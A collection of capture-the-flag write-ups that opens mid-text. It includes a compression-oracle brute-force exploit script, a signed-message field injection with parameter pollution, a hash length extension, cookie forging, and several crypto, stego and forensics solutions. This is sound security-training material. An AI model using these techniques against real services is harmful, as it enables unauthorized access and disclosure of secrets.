flag: `DrgnS{ABCEFGHIJKLMNOPQRT}`. Our server says that with `seed = 1`, the shuffled flag is `FP}QT{RILEGMDBrAHOJKnCgNS`.```1:YZ none 27 zlib 35 bzip2 69 lzma 84 1:FP none 27 zlib 35 bzip2 66 lzma 84 1:FP}QT{RI none 33 zlib 35 bzip2 72 lzma 92 1:abcdefhi none 33 zlib 41 bzip2 76 lzma 92``` What we see is that with few letters there is no difference. That's kind of expected, Huffman Coding tokenizes bits, not characters. However with longer strings, we can see that having a good prefix helps zlib stay at the same value, while unusual prefix will make it grow. ### Second vector of attackIn order for the main vector of attack to work, we actually need to know a substring of the shuffled flag. This can be done by combining two piece of information. 1/ We actually know the flag format is `DrgnS{??????????????????}`, so we know 7 characters: `'D', 'r', 'g', 'n', 'S', '{', '}'`. 2/ Flag shuffling is fully deterministic and only depends on the seed we provide. We created a script seed_unshuffle.py (cf Attachment) to find seeds for which the shuffled flag starts with `DrgnS`. ### Shuffle reversingOur attack is done on the shuffled flag. So in order to find the flag, we actually need to unshuffle it. This part is a matter of keeping track of how to swap characters. Using a fake flag where all characters are unique (e.g. `DrgnS{ABCEFGHIJKLMNOPQRT}`), we can see our letters are swapped. We did it manually to win time in solving this challenge. ### Let's brute force locally!#### V1Cf attachment "exploit.py (V1)". Using seed `2430447`, our local flag is DrgnS{ABCEFGHIJKLMNOPQRT} the shuffled flag is `DrgnSHJFCNTLM{BEPQ}OAIGKR` which starts with "DrgnS". In this first brute force, we take the flag prefix ("DrgnS") and add one character among uppercase characters, `{` and `}` and check the zlib size. The character providing the lowest zlib size is then kept and we try the next one. Result? => ❌ `DrgnSHJFCNTAAAAAAAAAAAAAA` ❌ The beginning is okay... until it only chooses A. Checking manually what happened, after `DrgnSHJFCNT`, whatever the character being added, zlib always returns the same size. #### V2We don't remember exactly how tokenization works in Huffman Coding, and zlib also uses LZ77 which we don't know. We thought of learning more about those. Then thought that anyway we are in Python here so we can just read the code and went to [gzip source code](https://github.com/python/cpython/blob/aaf42222cfd5774d23ca48ff304ace1f64426201/Lib/gzip.py#L576). And then we decided to be lazy and update our current brute force algorithm to not determine one character at a time, but two! This exploit works!! ❌ Or so we thought ❌ Locally it works great, but remember our flag? There is no character being duplicated. The actual flag on the server contains duplication. With this seed, there is quickly 3 `I`. Checking manually, those seems to be normal. But afterwards the exploit gets completely broken because such consecutive characters impacts the tokenisation of the Huffman Coding algorithm. At that point we still kept track of what we learnt about the flag. We manually reversed the shuffle manually. Here is the information we gathered with this test:```# DrgnS{??????????????????} -- Initial step, no brute force done# DrgnS{??????A???????????} -- First letter brute forced# DrgnS{??????A?R?????????} -- Second letter brute forced# DrgnS{????I?A?R?????????} -- ...# DrgnS{????I?A?R?????????} -- ...# DrgnS{??I?I?A?R???I?????} -- Last letter brute forced, after this one we can't do anything#2430447:DrgnSARIII``` #### V2 second attemptWhat do you do when brute-forcing is not working? Try again. The next seed for which the shuffled flag starts with "DrgnS" is 3723664, and it actually starts with "DrgnS}", so that's even better, we know a longer prefix than expected. We still have a similar issue, but we only miss 3 characters this time! We are also comforted with our brute force since found letters are the same as with our first try.```# DrgnS{??????????????????}# DrgnS{????I?????????????}# DrgnS{????IS????????????}# DrgnS{????IS?????E??????}# DrgnS{????IS?????E?????S}# DrgnS{????IS????ME?????S}# DrgnS{T???IS????ME?????S}# DrgnS{T???ISA???ME?????S}# DrgnS{TH??ISA???ME?????S}# DrgnS{TH??ISA???MEI????S}# DrgnS{TH??ISA???MEIG???S}# DrgnS{TH??ISA???MEIG??SS}# DrgnS{TH??ISA?R?MEIG??SS}# DrgnS{TH??ISACR?MEIG??SS}# DrgnS{TH??ISACR?MEIGU?SS}# DrgnS{THI?ISACR?MEIGU?SS}#3723664:DrgnS}ISESMTAHIGSRCUISESM``` #### Guessing the flagWhat do you do when brute-forcing is not working? Stop brute-forcing and guess. It often works when trying to brute force passwords so that seems legit here ? The flag looks like a sentence and the first one that came to our mind is "This is a crime I guess". => ? DrgnS{THISISACRIMEIGUESS} ? # Personal after thoughtsI found the challenge super fun. It reminded me of a course on compression I took 7 years ago at school. Time flies! It also gave me vibes of "you can see that in real life" somehow. The most probable one would be in some Blind SQL Injection. Maybe another would be related to HTTP calls that would store user input data, suffix it with some metadata, and returns a compressed size in headers. This kind of attack would allow an attacker to read the metadata. That seems a bit far fetched though. Thank you Dragon Sector :) # Attachments## server.py```python#!/usr/bin/env python3import threadingimport socketimport randomimport codecsimport lzma as lz with open("flag.txt", "rb") as f: FLAG = f.read().strip() def none(v): return len(v) def zlib(v): return len(codecs.encode(v, "zlib")) def bzip2(v): return len(codecs.encode(v, "bz2")) def lzma(v): return len(lz.compress(v)) COMPRESSION_FUNCS = [ none, zlib, bzip2, lzma] def handle_connection(s, addr): s.sendall( ("Please send: seed:string\\n\n" "I'll then show you the compression benchmark results!\n" "Note: Flag has format DrgnS{[A-Z]+}\n").encode()) data = b'' while True: idx = data.find(b'\n') if idx == -1: if len(data) > 128: s.shutdown(socket.SHUT_RDWR) s.close() return d = s.recv(1024) if not d: s.close() return data += d continue line = data[:idx] data = data[idx+1:] seed, string = line.split(b':', 1) flag = bytearray(FLAG) random.seed(int(seed)) random.shuffle(flag) test_string = string + bytes(flag) response = [] for cfunc in COMPRESSION_FUNCS: res = cfunc(test_string) response.append(f"{cfunc.__name__:>8} {res:>4}") response.append('') response.append('') s.sendall('\n'.join(response).encode()) s.shutdown(socket.SHUT_RDWR) s.close() def main(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 1337)) s.listen(256) while True: conn, addr = s.accept() print(f"Connection from: {addr}") th = threading.Thread( target=handle_connection, args=(conn, addr), daemon=True ) th.start() if __name__ == "__main__": main() ``` ## seed_unshuffle.py```python#!/usr/bin/env python3import random with open("flag.txt", "rb") as f: FLAG = f.read().strip() def main(): print("Initial flag: " + str(FLAG)) found = 0 seed = 2430448 while (found == 0): flag = bytearray(FLAG) random.seed(int(seed)) random.shuffle(flag) test_string = bytes(flag) if(str(test_string).startswith("b'DrgnS")): print("Seed found: " + str(seed)) found = 1 if(seed % 100000 == 0): print(seed) seed += 1 if __name__ == "__main__": main()``` ## exploit.py (V1)```import reimport requestsimport socketimport stringfrom pwn import * flag = "DrgnS"seed = "3723664"#nc = remote('compresstheflag.hackable.software', 1337)nc = remote('127.0.0.1', 1337)nc.recvuntil(b"Note: Flag has format DrgnS{[A-Z]+}\n") def send_flag(payload): nc.write(bytes(payload, "utf-8") + b"\n") nc.recvuntil(b"none") nc.recvline() recv = nc.recvline() nc.recvuntil(b"lzma") nc.recvline() numbers = [int(word) for word in recv.split() if word.isdigit()] return int(numbers[0]) while len(flag) < 25: min_size = 100000 best_payload = "" for i in string.ascii_uppercase + "{}": payload = flag + i print(payload) size = send_flag(seed + ":" + payload) if size < min_size: min_size = size best_payload = payload flag = best_payload```
Import a function as `print` to bypass the function whitelist [Read the writeup here](https://ctf.zeyu2001.com/2021/cybersecurityrumble-ctf/finance-calculat0r-2021)
# DISCORD SHENANIGANS ## Description We considered giving you a free flag. However, we decided against it. In general, we would never do that! Or would we? That's the beginning of a good CTF! Discord is the new Twitter. To be able to solve this challenge, you'll need to join our discord. Link in the Rules page. ## WriteupUpon checking, the message that is suspicous and at the "beginning of a good CTF" is located at #general, which contains the content of: ```I don't think sο eⅰther. Τhey should work harder for these flags! When I was theіr age, I had to traνel
thοusands οf miles to get them!``` By the tips/reminder from the challenge authour in Discord, we know that there are a way to hide messages in Twitter's tweets, we googled it and found the [tool](https://holloway.nz/steg/), entering the message and we get: `th1s_5t3g0_fl4g_w45_n0t_h1dden_w3ll `, putting it in the flag format and removing the spaces, we get the flag! ## Flag`TFCCTF{th1s_5t3g0_fl4g_w45_n0t_h1dden_w3ll}`
* Inject an additional `amount` field into the signed message by using a username like `FRONTEND_USERNAMEamount1337`* The resulting message is then `userFRONTEND_USERNAMEamount1337amount0nonceNONCE`* Perform parameter pollution on the frontend: `GET /callback?user=FRONTEND_USERNAME&amount=1337&amount=0&nonce=NONCE&sig=SIGNATURE.` [Read the writeup here](https://ctf.zeyu2001.com/2021/cybersecurityrumble-ctf/payback)
* The original character, and the 3 characters that follow, have a slightly higher chance of ending up in the ciphertext* Collect a sufficiently large sample size, and bruteforce the flag based on the highest-frequency characters [Read the writeup here](https://ctf.zeyu2001.com/2021/cybersecurityrumble-ctf/personal-encryptor-with-nonbreakable-inforation-theoretic-security)
Hash length extension attack against the save game recovery token allows the player to increase their bank balance and buy the flag. Full writeup: [https://ctf.rip/write-ups/crypto/tfc-jam/](https://ctf.rip/write-ups/crypto/tfc-jam/)
# A Chest Full Of Cookies ## Description> Only admin knows where he hides the flag. Connect at chall.ctf-ehcon.ml:32102 ## SolutionAfter register and login to the application. I had a cookie name `isAdmin` with value based `base64` Decode the value and get `false`. Okay it's quite clear, I base64 encode `true` and change my cookie. Reload the page and got nothing? Wut?After a few times, I used `curl` to finish this challenge ![Flag](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/A%20Chest%20Full%20Of%20Cookies/curl.png) ```Flag is : EHACON{y0u_@r3_@dm1n_n0w}```
# AAAAA ## Description AAAAA. That's all ## AttachmentAAAAA ## Writeup Upon opening the file, except a bunch of code that I don't understand, I spotted `IHDR` (a magic hash that represents a png file). Therefore, I uploaded the file to CyberChef and used "Extract File" tool, which gives me the flag in png (see extracted_at_0x7d0.png). Doing a bit character recognition by hand, we get the flag :) ## Flag`TFCCTF{Gr4phic_d3sign_is_my_p455ion}`
# HOLIDAY ## Description I've always wanted to visit my friend! He's not fluent in English, but he does know a few words. This made communicating a problem. We did, however, talk about each other a lot! He knows I'm allergic to dogs, and I know that his favourite colour is green! Before leaving for the airport, he left me a message. He's not much into technology so his crypted message really confused me! Can you tell me what he said? Maui: mai hele mai i kēia lā aia nā ʻīlio ## Writeup Google Translate the message and we're done! ## Flag`TFCCTF{don't_come_today_there_are_dogs}`
# Sanity Check ## Description The flag is hidden in plain sight on #dragonsector @ irc.libera.chat. ## WriteupFirst of all, we have no idea what is irc or libera so we Googled it. Yes, always Google things that you don't know and you'll always find things that amazed you. Upon google, we connected to the libera chat and we got the flag! and well, this is the only question we got in Dragon :/
# Underscore in Corrupted## Files[`ohno.png`](ohno.png)\[`Underscore_in_C.png`](Underscore_in_C.png)## Steps to SolveThe flag starts with "kqctf{" so we know that if we xor the first 6 values of the flag with the first 6 values of enc, we will get the first 6 values of the key.### getkeys.py```pythonflag = "kqctf{"enc = [0xe2, 0x21, 0x2d, 0x33, 0x6b, 0x71] key = []for i, x in enumerate(flag): key.append(hex(ord(x) ^ enc[i]))print(key)``````bash$ python3 getkeys.py['0x89', '0x50', '0x4e', '0x47', '0xd', '0xa']```From the output, we can see that this is the magic bytes of a PNG file. Using the [PNG example](https://en.wikipedia.org/wiki/Portable_Network_Graphics#Examples) from wikipedia, we can try to figure out more values of the flag.### example.py```pythonenc = [0xe2, 0x21, 0x2d, 0x33, 0x6b, 0x71, 0x63, 0x3a, 0x75, 0x5f, 0x72, 0x3e, 0x2a, 0x78, 0x32, 0x61, 0x72, 0x33, 0x67, 0xe1, 0x6d, 0x79, 0x5b, 0xc9, 0x3c, 0x33, 0x37, 0x33, 0x72, 0x34, 0xa5, 0xe5, 0x11, 0x33, 0x21, 0x53, 0x55, 0x36, 0x20, 0x77, 0x3e, 0x16, 0x2e, 0x77, 0x4b, 0x63, 0x2d, 0x5c, 0x52, 0x1b, 0x59, 0x3a, 0x62, 0x6c, 0x7b, 0xba, 0xf1, 0xc8, 0x33, 0x32, 0xa3, 0x70, 0x73, 0xf3, 0x9d, 0x42, 0xfd, 0x10, 0xd5, 0x6e, 0x79]png = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xCF, 0xC0, 0x00, 0x00, 0x03, 0x01, 0x01, 0x00, 0x18, 0xDD, 0x8D, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82] arr = []for i, x in enumerate(enc): if i < len(png): arr.append(chr(x ^ png[i]))print(arr)``````bash$ python3 example.py['k', 'q', 'c', 't', 'f', '{', 'y', '0', 'u', '_', 'r', '3', 'c', '0', 'v', '3', 'r', '3', 'g', 'à', 'm', 'y', '[', 'È', '4', '1', '7', '3', 'r', '¤', 'Ò', '¶', 'Ï', '3', '!', 'S', 'Y', '\x7f', 'd', '6', 'j', '\x1e', 'ù', '\x14', '³', '¬', 'í', '\\', 'R', '\x18', 'X', ';', 'b', 't', '¦', '7', 'A', 'È', '3', '2', '£', '9', '6', '½', 'Ù', 'ì', '¿', 'p', 'W']```The output shows that the first 18 values of the arr is correct but the rest is incorrect. We can guess that "r3c0v3r3d" is going to be the second word in the flag so the 19th value in enc must be xor'd with a value that will result in 'd'. We can also guess that "my" is going to be the third word in the flag. Since the second word ends at the 19th value and the third word starts at the 21st value, the 20th value must be '\_'.```Python 3.9.7 (default, Oct 12 2021, 22:38:23) [Clang 13.0.0 (clang-1300.0.29.3)] on darwinType "help", "copyright", "credits" or "license" for more information.>>> enc = [0xe2, 0x21, 0x2d, 0x33, 0x6b, 0x71, 0x63, 0x3a, 0x75, 0x5f, 0x72, 0x3e, 0x2a, 0x78, 0x32, 0x61, 0x72, 0x33, 0x67, 0xe1, 0x6d, 0x79, 0x5b, 0xc9, 0x3c, 0x33, 0x37, 0x33, 0x72, 0x34, 0xa5, 0xe5, 0x11, 0x33, 0x21, 0x53, 0x55, 0x36, 0x20, 0x77, 0x3e, 0x16, 0x2e, 0x77, 0x4b, 0x63, 0x2d, 0x5c, 0x52, 0x1b, 0x59, 0x3a, 0x62, 0x6c, 0x7b, 0xba, 0xf1, 0xc8, 0x33, 0x32, 0xa3, 0x70, 0x73, 0xf3, 0x9d, 0x42, 0xfd, 0x10, 0xd5, 0x6e, 0x79]>>> hex(enc[19 - 1] ^ ord('d'))'0x3'>>> hex(enc[20 - 1] ^ ord('_'))'0xbe'```Based on the output, the 19th key value must be 0x3 and the 20th key must be 0xbe. The 19th and 20th bytes of a PNG file are the bytes for the width of the PNG.```Python 3.9.7 (default, Oct 12 2021, 22:38:23) [Clang 13.0.0 (clang-1300.0.29.3)] on darwinType "help", "copyright", "credits" or "license" for more information.>>> 0x3be958```The width of the PNG must be 958. The width of [Underscore_in_C](Underscore_in_C.png) is also 958 so we can try to use the bytes of Underscore_in_C as the keys.## Solution### solve.py```python# The enc array contains the hex values of ohno.png# The key array contains the hex values of Underscore_in_C.png enc = [0xe2, 0x21, 0x2d, 0x33, 0x6b, 0x71, 0x63, 0x3a, 0x75, 0x5f, 0x72, 0x3e, 0x2a, 0x78, 0x32, 0x61, 0x72, 0x33, 0x67, 0xe1, 0x6d, 0x79, 0x5b, 0xc9, 0x3c, 0x33, 0x37, 0x33, 0x72, 0x34, 0xa5, 0xe5, 0x11, 0x33, 0x21, 0x53, 0x55, 0x36, 0x20, 0x77, 0x3e, 0x16, 0x2e, 0x77, 0x4b, 0x63, 0x2d, 0x5c, 0x52, 0x1b, 0x59, 0x3a, 0x62, 0x6c, 0x7b, 0xba, 0xf1, 0xc8, 0x33, 0x32, 0xa3, 0x70, 0x73, 0xf3, 0x9d, 0x42, 0xfd, 0x10, 0xd5, 0x6e, 0x79]key = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x03, 0xbe, 0x00, 0x00, 0x04, 0xa4, 0x08, 0x06, 0x00, 0x00, 0x00, 0x44, 0x94, 0xd6, 0x72, 0x00, 0x00, 0x0c, 0x64, 0x69, 0x43, 0x43, 0x50, 0x49, 0x43, 0x43, 0x20, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x00, 0x00, 0x48, 0x89, 0x95, 0x97, 0x07, 0x5c, 0x93, 0x47, 0x1b, 0xc0, 0xef, 0x1d, 0x99, 0x24, 0xac, 0x40, 0x04] # The arr array contains the xor of enc and key values# The for loop loops over the contents of enc and appends the value of enc[index] ^ key[index] to arr arr = []for i, x in enumerate(enc): arr.append(chr(x ^ key[i])) # Prints out arr which is the flag print("".join(arr))``````bash$ python3 solve.pykqctf{y0u_r3c0v3r3d_my_m4573rp13c3!_1_c4n_m4k3_34r5_bl33d_4n07h3r_d4y.}```
# 小諧星## Description> 早知不可獲勝> 擠出喜感做諧星> 無力當 你們崇尚的精英> 有幸獻醜的 小丑 都不失敬 In the beginning of 2020, Khaled A. Nagaty invented a cryptosystem based on key exchange. The cipher is faster than ever... It is impossible to break, right? To solve this challenge, you need to read the source code `chall.py`. Try to get those questions answered: - Can `shared_key` generated from `y_A` and `y_B`?- If so, how do we calculate `m` from `c` and `shared_key`?- How can we convert the number `m` into a flag that is in the format `hkcert21{...}`? _(Updated hint at 13/11 18:56)_ This is a key exchange scheme, where two entity (Alice and Bob) use the "cryptosystem" to exchange a shared key (i.e. after the process, they can generate the same key). After the key exchange, they can then use the shared key to encrypt / decrypt any message. Thus, to decrypt the ciphertext back to plaintext (i.e. the flag), you will have to know the shared key, then use the "cryptosystem" to decrypt the ciphertext. Can you get the shared key from the provided information? You have `p`, `y_A` and `y_B`, can you generate the shared key? From the `exchange` function, `self.shared_key = S_AB`, and `S_AB = (y_AB * y_B) * S_A % self.p`; `y_AB = y_A * y_B`. You have `p`, `y_A` and `y_B`, what are you missing? What is the relation between `S_A` and `y_A` and how can we use that? _(Updated hint at 14/11 00:25)_ We are given `output.txt` that contains `y_A` and `y_B`, which are the public keys for Alice and Bob respectively. In this challenge, you need to derive the shared key `S_AB` from those public keys. Look at the below line: ```pythony_AB = y_A * y_BS_AB = (y_AB * y_B) * S_A % self.p``` From above, we can compute the shared key `S_AB` from `y_A`, `y_B` and `S_A`. However, the challenge is so "secure" that we don't even need any private keys. That said we can compute `S_AB` solely from `y_A` and `y_B`. How? Look at the relationship between `S_A` and `y_A`. In short, `S_AB = (y_A * y_B * y_B) * y_A % p = (y_A * y_B)^2 % p`. One question is, how do we convert base 16 (those strings starting with `0x`) to base 10? We can use [Cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base(10)To_Base(16)) to convert numbers. You can also find a product of two large numbers with Cyberchef. There is one question remain: What does `%` mean? Try to find it yourself! Now we have the shared key `S_AB` (it is called `sk` below). If we have the ciphertext `c`, we can look the decrypt function shows how they decrypt: ```pythondef decrypt(self, c): sk = self.shared_key if sk is None: raise Exception('Key exchange is not completed') return c // sk``` Okay, it is now a simple division. Now it is a primary-level math (actually not). Now you have a message represented as a number, you can convert the number here with [Cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base(10)To_Base(16)From_Hex('Auto')) again. Now put down the number for the flag! _(Updated hint at 14/11 02:45)_ If you are getting something like `0x686B636572743231`, that is `hkcert21` in HEX. Find a HEX decoder online to grab your flag! ### Attachentsthe-little-comedian_58178adf8b732db76116f5bb7e0c4198.zip ## WriteupAs I solved it when all hints are revealed, it is relatively easy to me. First of I opened `output.txt` and convert all the hexadecimal number to decimal numbers, which gives me the below:```p = 131779217781108025516715321269390561059868812077752012613505018486929111809034362981708749894127119362588982394639631111967722871973629511816617719691754562919429251261868699115355600442628001337083599159340381969349623415179534700131305209644621121609616718188147956138590418597195723287323215150704741774149y_a = 111219057464627363326042853198087242969505342931959168021844138983551788218242087331733760051153647984635394719571574479941429104921550615962101252378408495170179113663390875711695237903116835852583029553734143834290909185314422238002826430608477264641960933522178517321863172239303694507311118619099158151418y_b = 115993866377144764455321277064567789459356429535387462742525435102394408148494512957091181882996561609309055256254083956737335083230708831634651729878487751639351849354053696723047067903983007544873350224507548537076021626156586055130639890303978660755445487165366330271097065435110239736475447411882242540935c = 573440688604372829031041206866266421148413096553829206875060992170593379471171296072541240745387420139790007729078287963596031658286982193321918848000718780752521563007942290298630845282070195317773224868654971523910904270831224730085739031413921003662045364490530962239156862670225038888200386916609020082311343606893112063485849690181202597296356400928815423115149040849587145832984223435625002174374022116638434835834672653031984073233```I calculated `S_AB = (y_A * y_B * y_B) * y_A % p = (y_A * y_B)^2 % p` by CyberChef, then mod (`%`) it via an easy python code:```pya = 166428795576412350745363871075002769184462972271549188605384079377997207482621821580475304429593441569964961244416939071438132307040420401479486983845997342041579087465145770171408019645494380601152114247745563355385105906577931349359268232218827614152411626772318356927607989166087244441038650622105587905370505869768889544324959887356687440336413974494121475383773567686307484130266025653388085149223610168233541920771064676698015362587745523932227101190785526825257515426433379466459235056824524154390962792950990292388589415990246288281780204156065707361042007518570287554362702840737833626480571181413283104999511648273503148064176070818365373757004731439432305599588714960948772724934682718293345038303404903979567427074492525726644541664257549589807458748111198582565463424353463426971496244900268197200999604957774167132329945293879029843177979183542730066560844052980842096330049080865479258535572118691861856778147457024047392176942571445763456420154286458356790308300138557783857375364126023451345148449558535759155247511184892338660946124546047115296981206939416248483835264858453758617868238686135338624539550306477505120377994665383969158722594366556259940749831667834138414980884793554053910622196471243347053895388900p = 131779217781108025516715321269390561059868812077752012613505018486929111809034362981708749894127119362588982394639631111967722871973629511816617719691754562919429251261868699115355600442628001337083599159340381969349623415179534700131305209644621121609616718188147956138590418597195723287323215150704741774149x = a%pprint(x)```Hence we get x (`S_AB`):```x = 126761916018763105932511840700610734800905222407142215212111827562741645356412614872775223519500627260742733659033215231685645222862249135933100272982626279583819624399810846875619514023930157109037997654173002704409424841729007728904943912290729329796962780464517480579493201352078520412759337770034347885349```Looking at the decrypt function, we know flag = `c // sk`, which I divided it via CyberChef and returned me the following:```4523761604546061064835227995641494724805647148717034826488368819369074735492790637562577009837994612155159643277227684354017422717```Convert it back to hexadecimal, we got:```686b6365727432317b746831735f69355f776834745f77335f63346c6c33645f736e346b336f316c5f63727970743073793574336d7d```Converting that to ASCII, we got the flag. ## Flag`hkcert21{th1s_i5_wh4t_w3_c4ll3d_sn4k3o1l_crypt0sy5t3m}`
# 無聲浪 ## Original Description> 像密碼 若無線索 只好留下困惑 _IEEE Transactions on Signal Processing, Vol.51, (no.4), pp.1020–33, 2003._ How to:1. Google the description2. Find the GitHub repository written by Microsoft and meet the description3. Download the tool and extract the Hex from audio4.Decode the Hex into ASCII characters5. Profit ## Description (Updated) > 像密碼 若無線索> 只好留下困惑 _IEEE Transactions on Signal Processing, Vol.51, (no.4), pp.1020–33, 2003._ Walkthrough: 1. Google the description2. Find the [GitHub repository](https://github.com/toots/microsoft-audio-watermarking) written by Microsoft 3. Download the tool (repository) in zip4. Extract the zip, for example, you extract the zip under `D:\Downloads`5. Copy the audio file (`waterwave.wav`) to `D:\Download\microsoft-audio-watermarking-master\build\`6. Open the command prompt and execute the following:```D:\Download\microsoft-audio-watermarking-master\build\detect2003.exe D:\Download\microsoft-audio-watermarking-master\build\watermark.wav```7. Record ass Hex decoded7. Convert all Hex it into ASCII characters, there are many [online tools](https://www.binaryhexconverter.com/hex-to-ascii-text-converter) that can be used8. Profit 有部分參賽者反應 Github 上的工具未能正常執行。請使用命令提示字元(cmd.exe)打開該程式。There is some contester mentioned that the tool on Github cannot be executed normally. Please use command prompt (cmd.exe) to execute the program. ## WriteupWhen we submit the flag, the updated description aren't there yet (yes damn challenge writer aka Byron should update it earlier right...) We googled the description directly and find the [repository](https://github.com/toots/microsoft-audio-watermarking), downloaded and unzipped the file and when we find there are two exe file for us to use. `watermark2003.exe` is for watermarking the audio file, while `detect2003.exe` is to detect watermarks. Therefore we run the `detect2003.exe` in command promopt (cmd) with the following command:```(Location of file)\microsoft-audio-watermarking-master\build\detect2003.exe (Location of file)\watermark.wav``` It returns the output (only relavent part is listed below, information are neglected) listed in `output.txt` where total of 36 watermarks are detected. Copying the `WM` value of the watermarks, convert them to ASCII by the [ASCII Table](https://www.asciitable.com/) watermark by watermark and log them down in a spreadsheet as listed in `ascii.xlsx`. Finally, it returns us the flag. ## Flag`hkcert21{w0rds_fr0m_3mpt1n3ss}`
# 逐步拾回自己 ## Description Retrieve the flag step by step. ### Attachmentsexcel_4891c2b27e2312569280036715a101b9.zip ## WriteupFirst we entered `hkcert21{}` as we know that are the flag format, then we brute forced our way through by running the following VB script: ```vbFunction try(n) If n Cells(1, 2) Then found = True For i = 4 To 29 if Cells(22, i) <> Cells (23, i) Then found = False End if Next For i = 14 To 21 If Cells(i, 30) <> Cells(i, 31) Then found = False End If Next If found = True Then MsgBoxCells(1, 2) End If try = 0 Else For ascii = 33 To 126 If ascii <> 39 Then Cells(2, n).Value = Chr(ascii) If Cells(22, n - 1) = Cells(23, n - 1) Then try (n + 1) End If End If Next End IfEnd Function```and we got the flag. ## Flag`hkcert21{funny_excel_rev}`
# Monstrum Ex Machina | Traffic Analysis[Original writeup](https://github.com/TheArchPirate/ctf-writeups/blob/main/DEADFACE/traffic-analysis/monstrum-ex-machina.md) ## Description- - -Our person on the "inside" of Ghost Town was able to plant a packet sniffing device on Luciafer's computer. Based on our initial analysis, we know that she was attempting to hack a computer in Lytton Labs, and we have some idea of what she was doing, but we need a more in-depth analysis. This is where YOU come in. We need YOU to help us analyze the packet capture. Look for relevant data to the potential attempted hack. To gather some information on the victim, investigate the victim's computer activity. The "victim" was using a search engine to look up a name. Provide the name with standard capitalization: flag{Jerry Seinfeld}. ## Location of PCAP- - -You can find a copy of this pcap in my writeups repository. If you would like a copy, please go to: ctf-writeups/DEADFACE/files/PCAP/pcap-challenge-final.pcapng ## Solution- - - We know that the a search engine was being used to find this name. This lets us know that we will be looking for HTTP traffic to find this. We can use wireshark to export these requests into an easy to read format. You can access this using the menu in the top left corner. Navigate to: File > Export Objects > HTTP This will open a new window. In this window we can see the searches on baidu for an individual called Charles Geschickter. ![](https://raw.githubusercontent.com/TheArchPirate/ctf-writeups/main/DEADFACE/images/charles-geschickter.png) ## Flag- - -flag{Charles Geschickter}
# 回到12歲 ## Description If you can beat me in the game I'll give you the flag! https://scratch.mit.edu/projects/596813541/ ## WriteupFirst off, open the scratch project. Upon checking the code, we know we need to win it in order to solve the challenge. We forced our way through to win the game by adding the block```set globalCurrentPlayer to X```and spamming it manually to win. Then we got a prompt that checks our flag. By checking the codes again, and removing the sticky note that hiding the code in Title object, we know that our input will be shifted by this line o f code:```set result to join result item item # of letter i of item 10 of globalGameState in chars + 18 mod length of chars + 1 of chars```Then we entered alphabets to try how many characters it shifted and logged it in a [spreadsheet](https://docs.google.com/spreadsheets/d/1fkpd4ReVCNndQRLFGAph-XBYUIU9Gf4RlK83OJX4ZTE/edit). As I am lazy, I used `VLOOKUP`, `SPLIT` and `CONCATENATE` function to reduce a little time, which returns me the flag. ## Flag`hkcert21{hello_caesar_cipher}`
# Insane Bolt Writeup ### **TLDR** Connect to instance, take in input as a grid, run BFS to get shortest paths, and send to standard input. ## Initial When we connect to the Docker Instance, we are given two options. ![Starting Prompt](https://raw.githubusercontent.com/jontay999/CTF-writeups/master/HackTheBox/UniQual2021/Misc/Insane-Bolts/images/1.png) It is a command line game where you have to input the shortest path for the robot to reach the diamond via instructions DLR (Down, Left, Right). For some reason Up was not needed in this game. ![Basic Idea](https://raw.githubusercontent.com/jontay999/CTF-writeups/master/HackTheBox/UniQual2021/Misc/Insane-Bolts/images/2.png) From the grid given, it can be seen that the valid path always passes through a bolt at every step ## First Try At first, I thought I could slowly play the game but after a while I realised this was not meant to be brute-forced played normally. There is a time limit, approximately 10-15 seconds, that if exceeded, would end the game. One mistake and the game would end as well. There are also a minimum of 500 levels to be completed which requires scripting ![Shouldn't be brute forced](https://raw.githubusercontent.com/jontay999/CTF-writeups/master/HackTheBox/UniQual2021/Misc/Insane-Bolts/images/3.png) ## Main Idea The problem was a classic shortest path problem which could be solved via Breadth First Search. The main steps were to - Connect to the Docker instance provided- Transform the command line output and parse into a matrix- Make the BFS function that would output the shortest path- Send the Shortest Path as input Code is in [insane-bolts.py](https://github.com/jontay999/CTF-writeups/tree/master/HackTheBox/UniQual2021/Misc/Insane-Bolts/insane-bolts.py) ## Tools Used - `pexpect` module from python to read and write to standard input and ouput.- `nc` command to connect to instance ## Success After collecting 500 diamonds, the final flag was outputted.![Success](https://raw.githubusercontent.com/jontay999/CTF-writeups/master/HackTheBox/UniQual2021/Misc/Insane-Bolts/images/4.png)
TL;DR: $. We paid to win. --- TL;DR (of a cheaper approach):1. Guess whether each of the hex character is a digit or a letter2. Create (and solve) a system of linear equations base on the guess3. ??4. Profit!
# 玩咗先至瞓## Description Have you joined our [Discord](https://discord.gg/bk7gfDVYM9) yet? Anyway, the flag for this challenge is `hkcert21{g00d_luck_h4v3_fun_4nd_h4ck_4_l0t}`. Go submit it! ## WriteupThere are two ways to solve this question, either find the flag in the rules channel in Discord, or directly copy and paste the flag from the description of the question. ## Flag`hkcert21{g00d_luck_h4v3_fun_4nd_h4ck_4_l0t}`
# 係咁先啦 ## Description It is 24 hours before the game ends. Please fill us the [feedbacks](https://docs.google.com/forms/d/e/1FAIpQLScHdxrIh6534bJvtClV2umUnV_L0dPYhizNXsownL2CdmAkZw/viewform?usp=sf_link) so that we could know how to improve the contest for upcoming years! ## WriteupFinish the Google Form in the description and you will find the flag. ## Flag`hkcert21{th4nk5_f0r_p14y1n9_4nd_s3e_y0u_n3x7_y3ar}`
